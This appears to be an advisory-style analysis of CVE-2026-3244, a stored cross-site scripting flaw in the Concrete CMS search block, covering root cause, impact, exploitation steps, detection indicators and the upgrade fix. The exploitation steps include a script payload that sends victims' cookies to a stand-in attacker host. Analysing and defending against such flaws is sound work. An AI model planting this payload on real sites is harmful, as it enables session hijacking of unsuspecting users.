CVE-2026-3244: 
PHP vulnerability analysis and mitigation

CVE-2026-3244 is a stored cross-site scripting (XSS) vulnerability in Concrete CMS affecting all versions below 9.4.8. The flaw exists in the search block, where page names and content are rendered without proper HTML encoding in search results, allowing authenticated rogue administrators to inject malicious JavaScript. The vulnerability was disclosed on March 4, 2026, and was reported by researcher zolpak. It carries a CVSS v3.1 base score of 4.8 (Medium) and a CVSS v4.0 score of 4.8 (Medium) as assigned by the Concrete CMS security team (Feedly, ConcreteCMS Release Notes).

The root cause is improper neutralization of input during web page generation (CWE-79), specifically the failure to HTML-encode page names and content before rendering them in search result output. An authenticated administrator can craft a page name containing a malicious JavaScript payload; when any user performs a search that returns that page in results, the script executes in the victim's browser context. Exploitation requires high privileges (administrator-level access) and passive user interaction — a victim must view the search results containing the injected page name. The fix was merged in GitHub pull request #12826 targeting the 9.4.x branch (GitHub PR, Feedly).

Successful exploitation results in low confidentiality and low integrity impacts within the victim's browser session — an attacker could steal session tokens, perform actions on behalf of the victim, or modify page content displayed during search. Because exploitation requires an authenticated administrator to plant the payload, the attack surface is limited to scenarios involving rogue or compromised admin accounts. There is no availability impact, and the vulnerability does not directly enable server-side code execution or lateral movement (Feedly).

A proof-of-concept reference is available via the GitHub pull request that introduced the fix, though no weaponized exploit or active in-the-wild exploitation has been reported (GitHub PR). The EPSS score is approximately 0.043%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Gain Administrator Access: Obtain or compromise an administrator account on a Concrete CMS instance running a version below 9.4.8.
2. Create or Edit a Page: Navigate to the CMS admin panel and create a new page (or edit an existing one), setting the page name to a malicious JavaScript payload, e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
3. Publish the Page: Save and publish the page so it becomes indexed and searchable within the CMS search block.
4. Wait for Victim Interaction: When a regular user performs a search that returns the maliciously named page in results, the unencoded page name is rendered in the search results HTML, triggering execution of the injected script in the victim's browser.
5. Harvest Results: The executed script can exfiltrate session cookies, perform CSRF actions, or redirect the victim to an attacker-controlled site (GitHub PR, Feedly).

• Logs: CMS audit logs showing an administrator creating or renaming pages with names containing HTML tags or JavaScript syntax (e.g., <script>, javascript:, onerror=).
• File System / Database: Page name fields in the CMS database containing encoded or raw script tags (<script>, %3Cscript%3E, <script>).
• Network: Outbound HTTP requests from end-user browsers to unexpected external domains shortly after performing site searches, potentially carrying cookie or session data in query parameters.
• Browser / Application Logs: JavaScript errors or unexpected redirects logged in browser developer tools when users interact with search result pages.

Upgrade Concrete CMS to version 9.4.8 or later, which includes the fix that properly HTML-encodes page names and content before rendering them in search results (ConcreteCMS Release Notes, GitHub PR). As an interim measure, restrict administrator privileges to only fully trusted users and monitor admin accounts for suspicious page name modifications. Implementing a Content Security Policy (CSP) header can reduce the impact of any XSS exploitation by limiting script execution sources.

The vulnerability was reported by researcher zolpak and acknowledged by the Concrete CMS security team, who assigned the CVSS v4.0 score and coordinated the fix. Coverage has been limited to standard vulnerability aggregators and advisories (INCIBE, GitLab Advisories, ENISA EUVD), with no notable broader media or social media discussion identified (Feedly).